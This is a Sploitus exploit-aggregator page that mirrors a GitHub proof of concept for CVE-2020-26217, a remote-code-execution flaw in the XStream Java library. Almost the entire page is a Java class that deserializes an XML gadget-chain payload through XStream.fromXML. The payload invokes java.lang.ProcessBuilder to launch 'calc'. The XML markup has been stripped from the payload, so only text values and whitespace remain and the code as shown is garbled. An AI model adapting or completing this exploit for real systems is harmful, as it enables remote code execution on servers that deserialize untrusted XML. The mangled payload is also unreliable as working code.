Sploitus

Exploit for OS Command Injection in Xstream CVE-2020-26217

githubexploit · 2020-12-08

Exploit Code

README70 lines
## https://sploitus.com/exploit?id=58CD2EEE-5826-5136-84D4-BCAC28741415
# CVE-2020-26217-XStream-RCE-POC
## e.g
```java
package org.example;
import com.thoughtworks.xstream.XStream;

import java.io.IOException;

public class CVE_2020_26217{
    public static void main(String[] args) throws IOException{
        XStream xStream = new XStream();
        String payload = "\n" +
                "  \n" +
                "    \n" +
                "      0\n" +
                "      \n" +
                "        \n" +
                "          \n" +
                "            text/plain\n" +
                "            \n" +
                "              \n" +
                "                \n" +
                "                  \n" +
                "                    0\n" +
                "                    -1\n" +
                "                    1\n" +
                "                    \n" +
                "                      \n" +
                "                        \n" +
                "                          calc\n" +
                "                        \n" +
                "                      \n" +
                "                    \n" +
                "                  \n" +
                "                  \n" +
                "                    \n" +
                "                      java.lang.ProcessBuilder\n" +
                "                      start\n" +
                "                      \n" +
                "                    \n" +
                "                    start\n" +
                "                  \n" +
                "                  \n" +
                "                \n" +
                "                KEYS\n" +
                "              \n" +
                "              \n" +
                "                \n" +
                "                0\n" +
                "                0\n" +
                "                0\n" +
                "              \n" +
                "            \n" +
                "            false\n" +
                "          \n" +
                "          \n" +
                "        \n" +
                "        0\n" +
                "      \n" +
                "    \n" +
                "    test\n" +
                "  \n" +
                "";
        xStream.fromXML(payload);
    }

}
```
![](https://assets.baklib.com/t/3f5cfd6c-1cc9-46dd-b035-da429b349cd0/u/233c4a2d-9207-42d6-9b81-cfb0436aae6f/image1605583269918.png)